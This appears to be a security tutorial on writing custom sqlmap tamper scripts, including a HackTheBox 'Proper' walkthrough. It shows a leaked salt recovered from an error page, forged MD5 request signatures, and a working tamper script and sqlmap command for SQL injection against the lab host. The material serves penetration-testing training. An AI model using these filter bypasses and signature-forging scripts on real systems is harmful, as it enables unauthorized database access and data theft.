Write your custom Tamper Script

  • In security assessments, we sometimes discover a custom filter, so we need a custom bypass or obfuscation for our payloads, then add this custom technique to a tool to ease the enumeration and exploitation processes of this case.
  • So we can apply this to sqlmap with the --tamper option.
  • There are built-in tamper scripts in sqlmap like:
    • between : Replaces greater than operator ( >) with ` NOT BETWEEN 0 AND # and equals operator (=) with BETWEEN # AND #
    • base64encode : Base64-encodes all characters in a given payload
    • space2comment : Replaces space character ( ) with comments `/
  • But sometimes we need to bypass a filter using custom exploitations, so we can do this in sqlmap using a custom Tamper script
  • Tamper Python script template:
    
        # Needed imports
        from lib.core.enums import PRIORITY
    
        # Define which is the order of application of tamper scripts against
        # the payload
        __priority__ = PRIORITY.NORMAL
    
        def tamper(payload):
            '''
            Description of your tamper script
            '''
            retVal = payload
    
            # your code to tamper the original payload
    
            # return the tampered payload
            return retVal
                    
  • __priority__ is responsible for the priority of execution of the tamper script when we concatenate it with other tamper scripts, as: --tamper=between,cutom_tamper.py
    The PRIORITY enum is defined in <sqlmap installation directory>/lib/core/enums.py.
  • The function we are interested in is tamper(), which modifies the SQL payload.

Simple Example

  • If there is a filter that blocks AND & OR operators, we can bypass it with && and ||.
  • So, to enumerate & dump with sqlmap in this case, we need to write a simple custom tamper script as follows:
    
        #!/usr/bin/env python
        from lib.core.enums import PRIORITY
        import re
        __priority__ = PRIORITY.NORMAL
    
        def dependencies():
            pass
    
        def tamper(payload, **kwargs):
            bypass = re.sub(r'\\bOR\\b', '||', payload)
            bypass = re.sub(r'\\bAND\\b', '&&', bypass)
            return bypass
                    
  • Put the script in a directory with __init__.py in the same directory.
  • Then we can use sqlmap as:
    sqlmap -u http://www.example.com?id=1 -p id --tamper=<directory>/custom_tamper.py

HTB: Proper Scenario

  • From Burp History tap, we discovered an AJAX request by javascript to:
    /products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b
  • The response is the HTML for the various products part of the page:
    
        HTTP/1.1 200 OK
        Content-Type: text/html; charset=UTF-8
        Server: Microsoft-IIS/10.0
        X-Powered-By: PHP/7.4.1
        Date: Fri, 26 Feb 2021 17:36:00 GMT
        Connection: close
        Content-Length: 10968
    
        <div class="row"><div class="col-md-4">
            <div class="hover-item">
            <img src="assets/img/shop/memdoubler-pro.png" class="img-responsive smoothie wow fadeIn" data-wow-delay="0.5s" alt="">
            <div class="overlay-item-caption smoothie wow fadeIn" data-wow-delay="0.5s">
        ...[snip]...
                    
  • The request has two GET parameters, order & h. order=id desc looks like part of an SQL query. The value given in h looks like an MD5 hash. If we change desc to asc (changing the sort order), the page returns 403.
  • Leaving order=id desc and making any changes to h also returns the same message.
  • The first thought, in this case, is to hash id desc using MD5, but it doesn’t match:
    
        echo -n "id desc" | md5sum
        aa5a97b10a6dd87160868d2316ab2425  -
                    
  • Sending /products-ajax.php?order=id+desc&h= with nothing following returns a 500 error with "Parameter missing or malformed."
  • But when h is removed, it results in another 500 error but with crash info:
    
        <!-- [8] Undefined index: h
        On line 6 in file C:\inetpub\wwwroot\products-ajax.php
        1 |   // SECURE_PARAM_SALT needs to be defined prior including functions.php
        2 |   define('SECURE_PARAM_SALT','hie0shah6ooNoim');
        3 |   include('functions.php');
        4 |   include('db-config.php');
        5 |   if ( !$_GET['order'] || !$_GET['h'] ) {                <<<<< Error encountered in this line.
        6 |     // Set the response code to 500
        7 |     http_response_code(500);
        8 |     // and die(). Someone fiddled with the parameters.
        9 |     die('Parameter missing or malformed.');
        10 |   }
        11 |
        // -->
        Parameter missing or malformed.
                    
  • The crash shows the definition of a variable, SECURE_PARAM_SALT. In a case like this, a salt is used in hashing to prevent someone from guessing the algorithm and then being able to reproduce the hash.
  • So now let’s try to guess the salt combination with the order parameter:
    
        echo -n "hie0shah6ooNoimid desc" | md5sum
        a1b30d31d344a5a4e41e8496ccbdd26b  -
                    
    and it matches the initial value of h in the AJAX request, so we can start testing SQLi with this encryption process as:
    
        root@kali$ echo -n "hie0shah6ooNoimid desc'" | md5sum
        242d281d06a8d273e24a2fc7a3d89d08  -
        root@kali$ curl -I 'http://10.10.10.231/products-ajax.php?order=id+asc&h=242d281d06a8d273e24a2fc7a3d89d08'
        HTTP/1.1 500 Internal Server Error
        Content-Type: text/html; charset=UTF-8
        Server: Microsoft-IIS/10.0
        X-Powered-By: PHP/7.4.1
        Date: Fri, 26 Feb 2021 18:38:50 GMT
        Connection: close
        Content-Length: 0
                    
    This indicates that there could be SQL injection, and we need to use SqlMap.

Custom Tamper script

  • The default mode in SqlMap will fail here because any injection it tries will result in a 500 error because of the hash.
  • So now we can write a custom tamper script to bypass this restriction by encrypting each payload with the salt, reaching exploitation.
  • The trick here is that the return of the tamper script will be added to each injectable parameter in the request. After troubleshooting by using --proxy to see sqlmap traffic through Burp History, I finally came up with this simple script:
    
        #!/usr/bin/env python
        from lib.core.enums import PRIORITY
        from hashlib import md5
    
        __priority__ = PRIORITY.NORMAL
    
        def dependencies():
            pass
    
        def tamper(payload, **kwargs):
            hashed = md5(f'hie0shah6ooNoim{payload}'.encode()).hexdigest()
            return "{}&h={}".format(payload, hashed)
                    
  • Then exploit with the following sqlmap command:
    
        sqlmap -u "http://10.10.10.231/products-ajax.php?order=id+desc" --tamper=/customtamper/custom_tamper.py --skip-urlencode --dbs 
                    
  • As we can notice in the sqlmap command, I removed the h parameter, which will be added with the custom values generated through our tamper script.
  • --skip-urlencode option to avoid h parameter from being a part from the encoded payload, and be a separated parameter as required.

Refrences: